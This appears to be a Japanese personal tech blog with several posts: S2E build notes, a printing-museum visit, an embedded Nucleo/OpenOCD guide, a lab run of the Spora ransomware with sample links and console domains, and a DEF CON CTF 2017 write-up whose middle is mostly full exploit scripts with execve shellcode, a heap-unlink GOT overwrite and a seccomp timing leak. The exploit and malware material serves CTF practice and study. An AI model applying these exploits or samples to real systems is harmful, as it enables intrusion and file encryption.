S2Eの差分ビルドがうまくいかなかった
備忘録です。S2Eを一回フルビルド後に、1つのファイルを変更して make -f ../s2e/Makefile
しても変更が関知されなかったことがありました。
本家のドキュメントには
Updating S2E You can use the same Makefile to recompile S2E either when changing it yourself or when pulling new versions through git. Note that the Makefile will not automatically reconfigure the packages; for deep changes you might need to either start from scratch by issuing make clean or to force the reconfiguration of specific modules by deleting the corresponding files from the stamps subdirectory.
from https://github.com/dslab-epfl/s2e/blob/master/docs/BuildingS2E.rst
と、修正が多いときはmake cleanしてフルビルドしないといけないケースはあるようです。 それは面倒いのでオブジェクトファイルを消去する方法で対処してみました。
s2e-buildでs2eのビルドをしたので、s2eに関するオブジェクトファイルは s2e-build/qemu-release/arm-s2e-softmmu/s2e
に生成されます。変更したソースコードに対応するオブジェクトファイルを消去して make -f ../s2e/Makefile
して差分ビルド成功です。
そのあとは一々オブジェクトファイルを消去しなくても差分ビルドしてくれるようになったのでよくわからんです。
# Makefileがs2eのコードの変更を監視してないように見えるんですがこれは…
印刷博物館に行ってきた
マツコの知らない世界というテレビ番組で、絶対フォント感を持つフォント好きの数学教師が出演しました。 自分が好きなフォント、ロダン Pro DBで事項紹介用のフリップをマツコさんに見せたところ、 「普段のフリップのフォントの方が見やすい」と一蹴された場面と、 「そ」の字形の違いに疑問を持ったことがフォントにはまったきっかけだったという話が特に好きです。
# 僕がフォントにはまったきっかけはMicrosoft OfficeのWordでした。
番組の放映後に印刷博物館で「印刷書体のできるまで」という企画展が開催されていることをTwitterで知りました。 この総合展示は6/18(日)まで開催されています。まだまだ間に合いますよ。
印刷博物館:P&Pギャラリー > 印刷書体のできるまで 活字書体からデジタルフォントへ
2017/6/1に上京予定があり(理由はお察しの通り)、夕方前まで予定が無かったので早起きして10時に到着するようにがんばりました><
印刷博物館は凸版印刷の建物の中にあります。 有楽町線・江戸川橋駅から行くと、川に沿って歩くだけで到着して楽です。 有楽町線はめっちゃ空いていました。 建物はTOPPANと書かれた半円筒形の建物の裏に有るので駅の出口からよく見えます。
1Fの総合展示の入り口のすぐ近くにコインロッカーがあります!お金が戻ってくるタイプです。(ありがたや〜
企画展のメインは凸版文久明朝体ができるまでです。 ラフ〜デザイナーと監修者のやりとり〜墨入れによる清書〜ベクター化〜ベジェ曲線の調整〜レビュー〜完成、という流れです。 印象に残ったことを箇条書きします(メモは取ってないので曖昧です)。
- スキャンするまでは方眼紙上でデザインしている
- デジタル化した後は1000☓1000マスのグリッドを基準に考える(へー
- 線の太さは 24/1000 という具合に指定する
- ラフや下書きの線がガタガタ
- レビューのときに、
- ひらがなと漢字のうろこの向き(左or右)が違うことで議論していた(確か)。この辺は一度も気にしたことがなかった
一旦展示室を出て、室内のエスカレータで地下1階に行きました。 総合展(常設展示)が目的です。 お金を払って入ると、甲骨文字からデジタルディスプレイまでの文字や印刷が関わるものが壁一面に埋め込まれていました。 ドン引きしたのは箱の中にパラパラ漫画が入っていて、横に付いたハンドルを回してパラパラ漫画を見るというクソうるさいものがあったことです。 (なんでこんなものが。ノードでええやんけ)
このエリアが終わると大きい部屋に着きます。 近代・現代の版画、近世の出版物、昭和なポスター、クソデカいフォトレタッチの機械、 それと、母型をレーンに入れといて、キーボードをタイプすると、対応する母型が落っこちて(スペースだとスペーサーみたいのが落っこちます)、行ごとに鉛の版を作る超ドン引きな機械があったりしておもしろかったです。
印象に残ったのは、
- 『ルソーの森の考える虹猿』(後述)
- 杉田玄白の頃に使われていた解剖道具(実物っぽい)
- 富嶽三十六景(浮世絵)が版画の要領で多色刷りされる様子(色が載ってく様子を段階的に観察できるようになっている)
- インクが出すぎてしまう、残念なカレンダー印刷機
- 先のドン引き機械を使った印刷方法を説明するビデオに出てた人♂の髪型が近世ヨーロッパにありがちなきのこカットでかわいいですな
- 最近坊っちゃんカット流行ってるね
- 昔の写真のレタッチから現像までする様子を模したジオラマ(イラストだと別の角度から見れないのでジオラマの良さが活かされていてよかった)
- ICを作るとき使うフォトマスクって、美術で習ったエッチングっすな。これじゃ凸版印刷が電子回路系に手を出すのも仕方ないね(コナミ感)
あと意外だったのは、
- I want you for U.S. army のポスター(実物?;帽子を被って指差しするおっさんのポスター)があった
下の写真は僕が作ったカレンダーです。 これは体験型の展示物で作ったものです。 日付の数字だけは印刷してあって、残りをスタンプ式の機械4台を使って印刷しようというコンセプトの展示です。 最初の1台以外はインクが出すぎてしまうという極悪仕様で、見事に残念なカレンダーとなってしまいました><
最後に、企画展をもう一度回った後、ミュージアムショップで虹猿のポストカードとフォントかるた(2,500円!)を買いました。 ポストカードの方は色遣いが凄まじいですな。 悲しいことに、かるたを買ったは良いものの、一緒に遊んでくれそうな人がいません(にゃーん
SporaのChrome font.exeを動かしてみたけど、Decryption Errorでコンソールが表示できなかった話
例の「マルウェア解析に必要な素養」に書きましたが、2017年1月からランサムウェアのSporaが出現しています。 一般的なランサムウェアが壁紙を変えて脅迫文を表示する一方で、SporaはWebコンソール(管理画面)を犯罪者とのやり取りに使う変わったランサムウェアです。 今日はそのコンソールのスクショを取るためだけにSporaに感染してみることをしてみましたが、うまくいかなかった話をします。
Sporaの入手
SporaはChromeユーザーにフォントのインストールをダイアログで指示してきます[1]。 hybrid-analysisでsporaタグが付いたレポートからして、Chrome font.exeというのがそのときのファイルっぽいので、次のレポートに添付されている検体を入手しました。
- 検体1:https://www.hybrid-analysis.com/sample/5a67dbbf83535f21a29adf3e5045da02b115bfce13e790d70f87633cda88c868?environmentId=100
- 検体2:https://www.hybrid-analysis.com/sample/b63d7f75bfc87b73e53acb5259906112f0913efa64e8a7c2f45fb0a12c2b0b89/?environmentId=100
- 検体3:https://www.hybrid-analysis.com/sample/7d5e776ac62c5946fea3a293b1e542049e3e157af1457bfa9780661a1e8e217e?environmentId=100 ※動作せず
わざと感染
感染ステップ:
- 光回線端末とルーターの電源を落として、またつなぐ(=PPPoEセッションの貼り直し=グローバルIPアドレスの変更)
- 感染前のスナップショットに復元してあるVMに暗号化されるファイルと検体を投入
- 検体を実行→Cドライブのファイルが暗号化されるっぽい(VirtualBoxの共有フォルダ内も暗号化されます!)
Windows 8のVMのデスクトップにjpgファイルとxlsxファイルをおいてChrome font.exeを走らせました。
感染後、ファイルが暗号化され、各フォルダにIDに".html"がついたhtmlファイルが生成されました。 IEが立ち上がり、アカウントのログイン画面のようなものが表示されます。
リンク先を開くとファイルを復号できることを確認するステップが始まりますが、1つファイルを送った後にエラーが出て先に進めませんでした。
Wireshark: https://packettotal.com/cgi-bin/view-analysis.cgi?id=5403d67eddb25e570a4b15db7e505588
インテリジェンス的な情報
SporaがWebコンソールを以下のドメインで動かしています・いました(?)
- 検体1→http://spora.li/
- 検体2→http://spora.store/ (※connection timeout)
IDは例えばこんな感じです。国のコードが付記されるのが特徴です。
- JP53B-9ERTZ-TZTZT-FTHYY
- JP7D0-37RTZ-TZTZT-FTHYY
- JPEB6-0DHTZ-TZTZT-XZTHY
- JP182-1EXTZ-TZTZT-FTXYY
参考文献
[1] 2017年第1四半期 セキュリティラウンドアップ | トレンドマイクロ
コードを抜き差ししてたらPPPoE接続後に外に繋がらなくなりがちになった…
DEF CON CTF 2017 Quals - smashme, beatmeonthedl, mute の 簡易Writeup
TomoriNaoでDEF CON CTF 2017 Quals(2017/4/28 9:00 JST - 2017/5/1 9:00 JST;48時間)に出ていました。 チームのSlackには私しかいなくて、ただただ寂しかったです。
TomoriNaoは 126 pts. で 122位 でした。
簡易Writeupと称して簡単なバイナリの挙動の解説・アプローチを書いて、エクスプロイトコード・結果を貼っておきます。 生々しさのためにコードはきれいにしてません。
解いたのは下の3つです。100点submitを目標にしていたので満足です。
- Baby’s First - smashme (TODO pts.)
- Baby’s First - beatmeonthedl (TODO pts.)
- Potent Pwnables - mute (TODO pts.)
smashme
バイナリの挙動
- BOF(stack smashing)させてくれる
アプローチ
- ROPによりinformation leak
- main呼び出し
- shellcode送信
- shellcode呼び出し
shellcodeはshellstormにあるやつで十分です。rwxな領域(スタック)にペイロードが置かれますので。
information leakフェーズでは、bssにある変数Xをうまいこと見つけてputs(X)すればいいです。 bssの変数にこだわったのはアドレスが既知だからです。 今回はenvironという謎変数を使いました。
リモートの環境はUbuntu 14.04 LTSだということをエスパーで予見しないと調整が難しいかもしれません。
エクスプロイトコード
コードを振り返っているとすんなりいかない部分があったことが思い出されますが、なんでこんな書き方をしたのか全然覚えてませんorz
from pwn import * from sys import argv BIN = "./smashme" # http://shell-storm.org/shellcode/files/shellcode-806.php shellcode = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # http://shell-storm.org/shellcode/files/shellcode-603.php # shellcode = "\x48\x31\xd2" + "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" +"\x48\xc1\xeb\x08" + "\x53" + "\x48\x89\xe7" + "\x50""\x57" + "\x48\x89\xe6" + "\xb0\x3b" + "\x0f\x05" # shellcode = "\x48\x89\xEC" + shellcode # mov rsp,rbp shellcode = "\x48\x89\xE5" + shellcode # mov rbp,rsp # shellcode = "\x48\x83\xEC\xf0" + shellcode # sub rsp, N shellcode = "\x48\x83\xC4\x40" + shellcode # sub rsp, N def bp(): global REMOTE if not REMOTE: raw_input("break point: ") REMOTE = False if len(argv) > 1: if argv[1] == "r": REMOTE = True r = None offset = {} if REMOTE: r = remote("smashme_omgbabysfirst.quals.shallweplayaga.me", 57348) else: r = process(BIN) prefix = "Smash me outside, how bout dAAAAAAAAAAA" payload = prefix + shellcode.ljust(33, "\x90") + p64(0x6d0c30+7) # payload = prefix + shellcode + "\x90" * 3 + p64(0x7fffffffe1f0 + 7) with open("payload", "w") as f: f.write(payload) # if not REMOTE: # exit() # context.log_level = 'debug' # if not REMOTE: # r.sendline("") print r.recvline() # bp() # bss_stdin = 0x6c9748 # bss_obj = 0x6cc238 # 0x6cc238 <_dl_sysinfo_map>: 0x00000000006ce210 bss_environ = 0x6cb640 # addr_push_rsp_ret = 0x0044611d addr_pop_rdi_ret = 0x00401942 addr_puts = 0x40fca0 addr_main = 0x4009ae rop_chain = [ p64(addr_pop_rdi_ret), p64(bss_environ), # p64(0x4a06d8), p64(addr_puts), p64(addr_main), ] r.sendline(prefix + "".ljust(33, "\x90") + ''.join(rop_chain)) # if not REMOTE: # r.sendline("") # r.recvuntil("Welcome to the Dr. Phil Show. Wanna smash?\n") # res = r.recvline().replace('\n', '') res = r.recv(6) addr = u64(res.ljust(8, '\0')) print "addr = %#x" % addr shellcode_addr = addr + (0x7fffffffe297 - 0x00007fffffffe408) + 0x20 print "shellcode addr = %#x" % shellcode_addr # r.interactive() r.recvline() bp() payload = prefix + shellcode.ljust(33, "\x90") + p64(shellcode_addr) r.sendline(payload) # r.sendline("ls") r.interactive()
結果
vagrant@vagrant-ubuntu-trusty-64:/vagrant$ python smashme.py r [+] Opening connection to smashme_omgbabysfirst.quals.shallweplayaga.me on port 57348: Done Welcome to the Dr. Phil Show. Wanna smash? addr = 0x7fff7dbc8508 shellcode addr = 0x7fff7dbc83b7 [*] Switching to interactive mode Welcome to the Dr. Phil Show. Wanna smash? $ ls flag smashme $ cat flag The flag is: You must be at least this tall to play DEF CON CTF 5b43e02608d66dca6144aaec956ec68d
beatmeonthedl
バイナリの挙動
- mallocのチャンクへのポインタのテーブルがbssに置かれる
- チャンクの中にはポインタがないのでポインタテーブルをいじるっ問題ぽい
- チャンクサイズが0x40に対して0x80バイトの書き込みが可能(自明なヒープBOF)
- コンパイル条件的にGOT Overwrite可能
- スタックが実行可能(wrx)
アプローチ
- Ubuntu 14.04だから古いlibc固有の脆弱性が使える?(←よく知らん)とか考えて、katagaitaiの第1回の資料を見ていたら、Unlink Attackが使えそうなヒープの構造と分かった
- information leak:スタックの何らかのアドレスは、loginの"Invalid user"のエラーメッセージでリークできる
- ポインタのテーブルを書き換えて、任意のメモリ書き換えを実現
- 実行可能領域であるスタック(wrx)にshellcodeを書き込む
- GOT Overwrite→shellcode呼び出し(今回はputsを犠牲にした)
別記★
- 直上のチャンク(Xとする)は使用中なのに、それに隣接したprev inuseビットを消したチャンク(Yとする)をfreeする
- consolidateが働いたときに(たぶん)、「Xの0〜8バイト(fd)の値+0x18」のアドレスの内容を「Xの8〜16バイトの値(bk)」で上書きできる
エクスプロイトコード
from pwn import * from sys import argv from time import sleep BIN = "./beatmeonthedl" # http://shell-storm.org/shellcode/files/shellcode-806.php shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # http://shell-storm.org/shellcode/files/shellcode-603.php # shellcode = "\x48\x31\xd2" + "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" +"\x48\xc1\xeb\x08" + "\x53" + "\x48\x89\xe7" + "\x50""\x57" + "\x48\x89\xe6" + "\xb0\x3b" + "\x0f\x05" syscall_exit_1 = "\x6A\x3C\x58\x6A\x01\x5F\x0F\x05" def bp(): global REMOTE if not REMOTE: raw_input("break point: ") REMOTE = False SOCAT = False if len(argv) > 1: if argv[1] == "r": REMOTE = True if argv[1] == "r": SOCAT = True r = None offset = {} if REMOTE: r = remote("beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me", 6969) elif SOCAT: r = remote("localhost", 6969) else: r = process(BIN) """menu I) Request Exploit. II) Print Requests. III) Delete Request. IV) Change Request. V) Go Away. """ def request(text): r.sendline('1') r.send(text) res = r.recvline() if "[-] Request list full" in res: log.warn(res) r.recvuntil('| ') return False r.recvuntil('| ') return True def print_req(): r.sendline('2') res = r.recvuntil('| ') req = [] for x in res.split('\n'): if len(x) > 1: if x[0] in "0123456789": no, data = x.split(')')[:3] data = data[1:] req.append((no, data)) return req def delete(no): r.sendline('3') r.sendline("%d" % no) # print r.recvuntil('| ') def change(no, text): r.sendline('4') r.sendline("%d" % no) if len(text) > 0x80: log.fatal("too log data") r.recvuntil("data: ") r.send(text) r.recvuntil('| ') patt = 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y' r.sendline(patt[:40]) r.recvuntil("Invalid user: ") res = r.recvline().strip()[-6:] addr = u64(res.ljust(8, '\x00')) log.info("leaked addr = %#x" % addr) mapped_base_addr = (addr - 0x1f000) & ~0xfff if REMOTE and len(argv) == 3: mapped_base_addr += int(argv[2], 16) * 0x1000 log.info("arrange offset = %#x" % int(argv[2], 16)) log.info("mapped_base_addr = %#x" % mapped_base_addr) r.recvuntil('Enter username: ') r.sendline('mcfly') r.recvuntil('Enter Pass: ') r.sendline('awesnap') r.recvuntil('| ') # for i in range(32): # for i in range(4): for i in range(2): # succ = request(chr(97 + i) * (0x80)) succ = request(chr(97 + i) * (0x10)) if not succ: break # list_ptr = 0x609e80 # 0 0x60a030 # 1 0x60a070 # 2 0x60a0b0 # 3 0x60a0f0 print print_req() ### 2 request(syscall_exit_1.ljust(0x10 - 5, "\x90") + "\xe9\x08\x00\x00\x00" + "\x90" * 0x10 + shellcode) # context.log_level = 'debug' ### 3 request("c" * 0x10) ### 4 request("d" * 0x10) # mapped_base_addr = 0x00007ffffffde000 ptr_reqlist = 0x609e80 #### reqlist[2] = mapped_base_addr change(3, (p64(ptr_reqlist + 0x8 * 2 - 0x18) + p64(mapped_base_addr) + "XXXX").ljust(0x30, "\x90") + ''.join([ p64(0x40), # prev_size p64(0x42), # size ])) delete(4) log.info("reqlist[2] has overwriten") bp() sleep(1) # context.log_level = 'debug' change(2, ("\x48\xBF" + p64(mapped_base_addr + 0x40)[:6] + "\x00\x00\x57\xC3").ljust(0x40, "\x90") + shellcode) log.info("injected shellcode to reqlist[2]") bp() main_addr = 0x40123c heap_base_addr = 0x0060a000 plt_got = {"puts": 0x609958} shellcode_addr = mapped_base_addr log.info("shellcode addr = %#x" % shellcode_addr) assert(shellcode_addr & 0x00007ff000000000 == 0x00007ff000000000) log.info("change(0, ...)") change(0, (p64(plt_got["puts"] - 0x18) + p64(shellcode_addr + 0)).ljust(0x30, "\x90") + ''.join([ p64(0x40), # prev_size p64(0x42), # size ])) log.info("=== [got overwrite] ===") log.info("delete(1)") bp() r.sendline("3") r.sendline("1") # context.log_level = 'debug' r.interactive()
結果
K_atc% python2 beatmeonthedl.py r [+] Opening connection to beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me on port 6969: Done [*] leaked addr = 0x7ffe3b12a4b0 [*] mapped_base_addr = 0x7ffe3b10b000 [('0', 'aaaaaaaaaaaaaaaa'), ('1', 'bbbbbbbbbbbbbbbb')] [*] reqlist[2] has overwriten [*] injected shellcode to reqlist[2] [*] shellcode addr = 0x7ffe3b10b000 [*] change(0, ...) [*] === [got overwrite] === [*] delete(1) [*] Switching to interactive mode 0) @\x99` 1) bbbbbbbbbbbbbbbb 2) H\xbf@\xb0\x10;\xfe\x7f 3) x\x9e` choice: $ ls beatmeonthedl flag $ cat flag The flag is: 3asy p33zy h3ap hacking!!
mute
バイナリの挙動
- シェルコードをmappedされた領域に置いて
call rdx
で呼び出してくれる親切設計 - seccompを使用したサンドボックス問
- 下のような感じで、そこに併記したシステムコールだけが許可されている(面倒なのでltraceから推測)
- パケットのペイロードが来る度に、先頭アドレスから書き込むような挙動をする。0x100ごとに繰り返し送ると動く
seccomp_init(0, 0x7ffff7bb99e0, 0, -1) = 0x602010 seccomp_arch_add(0x602010, 0xc000003e, 0x602060, 1) = 0xffffffef seccomp_rule_add(0x602010, 0x7fff0000, 0, 0) = 0 read seccomp_rule_add(0x602010, 0x7fff0000, 2, 0) = 0 open seccomp_rule_add(0x602010, 0x7fff0000, 3, 0) = 0 close seccomp_rule_add(0x602010, 0x7fff0000, 4, 0) = 0 stat seccomp_rule_add(0x602010, 0x7fff0000, 5, 0) = 0 fstat seccomp_rule_add(0x602010, 0x7fff0000, 6, 0) = 0 lstat seccomp_rule_add(0x602010, 0x7fff0000, 7, 0) = 0 poll seccomp_rule_add(0x602010, 0x7fff0000, 8, 0) = 0 lseek seccomp_rule_add(0x602010, 0x7fff0000, 9, 0) = 0 mmap seccomp_rule_add(0x602010, 0x7fff0000, 10, 0) = 0 mprotect seccomp_rule_add(0x602010, 0x7fff0000, 11, 0) = 0 mumap seccomp_rule_add(0x602010, 0x7fff0000, 12, 0) = 0 brk seccomp_rule_add(0x602010, 0x7fff0000, 59, 0) = 0 execve seccomp_load(0x602010, 0, 0, 0) = 0
アプローチ
- writeができないので、動作をもとにflagを1ビットずつリークする
- 朝5時にサーバーが空き始めてきれいに解けた!
エクスプロイトコード
アセンブリの通り。
/home/mute/flag
をlseekを駆使して1ビットずつ読み出す。1だったら通信時間が長くなるようにループを実行する。
from pwn import * from sys import argv import os import struct import time BIN = "./mute" def bp(): global REMOTE if not REMOTE: raw_input("break point: ") REMOTE = False if len(argv) > 1: if argv[1] == "r": REMOTE = True READ_OFFSET = "0" BIT_MASK = "0xff" if REMOTE and len(argv) > 2: READ_OFFSET = argv[2] BIT_MASK = argv[3] if not REMOTE and len(argv) > 1: READ_OFFSET = argv[1] BIT_MASK = argv[2] def leak(READ_OFFSET, BIT_MASK): global BIN log.info("READ_OFFSET = " + READ_OFFSET) log.info("BIT_MASK = " + BIT_MASK) r = None offset = {} if REMOTE: r = remote("mute_9c1e11b344369be9b6ae0caeec20feb8.quals.shallweplayaga.me", 443) else: r = process(BIN) r.recvline() if REMOTE: LOOP_AMOUNT = "0x10000000" else: LOOP_AMOUNT = "0x100000000" shellcode = asm(""" push 0x0 mov rax, 0x67616c662f657475 push rax mov rax, 0x6d2f656d6f682f2f push rax push rsp pop rdi mov rsi, 0 mov rdx, 0 mov rax, 2 syscall push rax mov rdi, rax mov rsi, READ_OFFSET mov rdx, 0 mov rax, 8 syscall pop rax mov rdi, rax mov rsi, 0x00601100 mov rdx, 1 mov rax, 0 syscall mov rax, [0x00601100] and rax, BIT_MASK cmp rax, 0 jg end mov rax, LOOP_AMOUNT loop: dec rax cmp rax, 0 jne loop end: """.replace("READ_OFFSET", READ_OFFSET).replace("BIT_MASK", BIT_MASK).replace("LOOP_AMOUNT", LOOP_AMOUNT), arch = 'amd64', os = 'linux') # bp() # context.log_level = 'debug' start_time = time.time() # r.send(shellcode.ljust(0x1000, "\x90")) for i in range(0x10): r.send(shellcode.ljust(0x100, "\x90")) try: r.recv(0x1000) except EOFError: end_time = time.time() elapsed_time = end_time - start_time log.info("Connection Closed") print "elapsed time = %f" % elapsed_time r.close() return elapsed_time LOG_FILE_NAME = "bit-%d.log" if REMOTE: LOG_FILE_NAME = "r-"+LOG_FILE_NAME else: LOG_FILE_NAME = "l-"+LOG_FILE_NAME f = open(LOG_FILE_NAME % time.time(), "w") for i in range(0x0, 0x90): for j in range(8): elapsed_time = leak(hex(i), hex(1 << j)) f.write("%d, %d, %f\n" % (i, j, elapsed_time)) f.flush() time.sleep(1) f.close()
計測結果をフラグ化するスクリプト。フラグが思ったより長くてログを結合するはめに。
data = [] with open("r-bit-1493583250.log") as f: data = f.read().strip().split("\n") with open("r-bit-1493584813.log") as f: data += f.read().strip().split("\n") with open("r-bit-1493585321.log") as f: data += f.read().strip().split("\n") flag = [] for i in range(0x90): flag.append(list("0b00000000")) threthold = 0.5 for x in data: i, j, t = x.split(',') i, j, t = int(i), int(j), float(t) if t < threthold: flag[i][-(j+1)] = "1" buf = "" for i in range(0x90): # print ''.join(flag[i]) d = int(''.join(flag[i]), 2) buf += chr(d & 0xff) print buf
結果
vagrant@vagrant-ubuntu-trusty-64:/vagrant/mute$ python log2flag.py The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa
floatを解きたかったです。IEEE 754形式の32ビット浮動小数群が実行可能領域に格納されて、それを実行するキ○ガイな問題です。ゼロが入っちゃってどうすればいいのかよく分からなかったです。
手元で実行できないバイナリが配布される問題がいくつかあったんですけど、なんだったんですかね。
来年は200点ぐらいとりたいですねー。(果たしてどのチームで出ることになるのやら…)
NUCLEO-L152REにわざわざST-Link v2を接続してOpenOCDで接続してみた
NUCLEO-L152REにはオンボードでST-Link v2が搭載されているため、ST-Link v2のようなUSB JTAG/SWDデバッガは必要ありません。
今回はわざわざST-Link v2をデバッガ、NUCLEO-L152REをターゲットとして、OpenOCDを使ってみたいという試みです。 この試みには有益性が全く無いですが、はまりどころがあったのでブログに残しておきます。
OpenOCDはgit版を使っています。
K_atc% openocd -v Open On-Chip Debugger 0.10.0-dev-00411-g607edef (2016-11-05-14:18) Licensed under GNU GPL v2 For bug reports, read http://openocd.org/doc/doxygen/bugs.html
ピン接続
デバッガ側は、ST-LinkのSTM32と書かれた20ピンを使います。 ピンの割り当ては下の図のようになっています。
図は ULINK2 User's Guide: Target Connectors より
Nucleo側はCN2(ST-Link)ピンに刺さっているジャンパーを外して、CN11、CN12に取り付けます。 ジャンパーを無くさないように設計されていてとてもいいですね〜
SWDの場合
CN2を上から(USBポートがある方を上にする)ピン1、ピン2、ピン3、ピン4とします。 メスーメスのジャンパーコードを下表の対応関係で接続します。
Nucleo側 | ST-Link側 |
---|---|
1 | 1 (VCC) |
2 | 9 (SWCLK) |
3 | 4 (GND) |
4 | 7 (SWDIO) |
JTAGの場合(試行中)
CN4を上から(USBポートがある方を上にする)ピン1、ピン2、…、ピン6とします。
メスーメスのジャンパーコードを下表の対応関係で接続します。
※をつけたポートはCN2のポートを使用したほうがいいかもしれないです?(OpenOCDに target voltage may be too low for reliable debugging
と怒られてしまう)
Nucleo側 | ST-Link側 |
---|---|
1 | 1 (VCC) ※ |
2 | 9 (JTCK) ※ |
3 | 4 (GND) ※ |
4 | 7 (TMS/JDIO) ※ |
5 | 3 (nRST) |
6 | 13 (TDO/SWO) |
OpenOCD
ダメな接続例:USB電源を2箇所からとる
openocdのどのスクリプトファイルを使えばいいのかわかりませんでした。 最初はオンボードのデバッガに接続してしまわないように、Nucleoの電源は別のPCからとっていました。 そしたらOpenOCDの起動時のチェックで、ターゲットの電圧が0Vだったり1.5V以下だったりしてエラーになりました。 GNDのレベルがST-LinkとNucleoで違うからなんでしょうね。
よい接続例:USBを同じところからとる
2本のUSBを同じPCに接続するということです。
OpenOCDのスクリプトファイル(-f
オプションで渡すファイル)を次の要領で作成しました。
ベースのディレクトリはインストール先によって変わるかもしれません。
# openocd -s /usr/share/openocd/scripts -f interface/stlink-v2.cfg -f target/stm32l1.cfg # でもよい。 [f:id:katc:20170424162753p:plain] cat /usr/share/openocd/scripts/interface/stlink-v2.cfg /usr/share/openocd/scripts/target/stm32l1.cfg > stlink-v2-stm32l1.cfg
SWD/JTAGのどちらの場合も、cfgファイルが対応しているはずなのにjtagで接続できない…
あとはopenocdコマンドを叩いて、デバッガのランプが緑と赤で交互に点滅したら接続完了です。
[root@K_atc nucleo-l152re]# openocd -f stlink-v2-stm32l1.cfg Open On-Chip Debugger 0.10.0-dev-00411-g607edef (2016-11-05-14:18) Licensed under GNU GPL v2 For bug reports, read http://openocd.org/doc/doxygen/bugs.html Info : auto-selecting first available session transport "hla_swd". To override use 'transport select <transport>'. adapter speed: 300 kHz adapter_nsrst_delay: 100 Info : The selected transport took over low-level target control. The results might differ compared to plain JTAG/SWD none separate Info : Unable to match requested speed 300 kHz, using 240 kHz Info : Unable to match requested speed 300 kHz, using 240 kHz Info : clock speed 240 kHz Info : STLINK v2 JTAG v27 API v2 SWIM v6 VID 0x0483 PID 0x3748 Info : using stlink api v2 Info : Target voltage: 3.183191 Info : stm32l1.cpu: hardware has 6 breakpoints, 4 watchpoints
参考
STM32NucleoでLチカ(mbed/C++)
時間がないので手短にまとめます。
必要なもの
- STM32のNucleo(僕は、NUCLEO-L152REを使用)
- USB Mini-B ケーブル
- mbed(僕はARMmbed/mbed-osのmake.pyをビルドツールとして使用)
調査
NucleoのLD2(緑色のユーザー用LED)のポートを調べる
NucleoのUser ManualからPA5、つまりマイコンから見てPortA[5]だと分かります。
PortAのベースアドレスと中身を調べる
STM32LのデータシートからPortAのベースアドレスが0x4002_0000と分かります。
PortAが割り当てられた領域のレジスタ割り当ては、以前STM32F7のときと変わらないと思ったのでそのときに判明したことを参考にしました(細かいことはソースコード参照)。
Lチカコード(main.cpp)
#include "mbed.h" #define DURATION 0.15 #define PORT_A (0x40020000) #define MODER (0x0) #define ODR (0x14) #define PORT_A_ODR ((volatile int*)(PORT_A + ODR)) #define PORT_A_MODER ((volatile int*)(PORT_A + MODER)) void ld2_on() { volatile int* cur = (volatile int *) (PORT_A + ODR); *PORT_A_ODR = *cur | 1 << 5; } void ld2_off() { volatile int* cur = (volatile int *) (PORT_A + ODR); *PORT_A_ODR = *cur & ~(1 << 5); } // ↓やらなくても動く。この関数の処理は嘘なのでやってはいけない void init_ld2() { // output mode volatile int* cur = (volatile int *) (PORT_A + MODER); *PORT_A_MODER = *cur | 1 << (2 * 5); // PA5 ld2_off(); } int main() { for(int i = 0; i < 1000; i++) { ld2_on(); wait(DURATION); ld2_off(); wait(DURATION); } ld2_on(); return 0; }
参考
- NucleoのUser Manual (pdf): http://www.st.com/content/ccc/resource/technical/document/user_manual/98/2e/fa/4b/e0/82/43/b7/DM00105823.pdf/files/DM00105823.pdf/jcr:content/translations/en.DM00105823.pdf
- STM32Lのデータシート (pdf): http://www.st.com/content/ccc/resource/technical/document/datasheet/66/71/4b/23/94/c3/42/c8/CD00277537.pdf/files/CD00277537.pdf/jcr:content/translations/en.CD00277537.pdf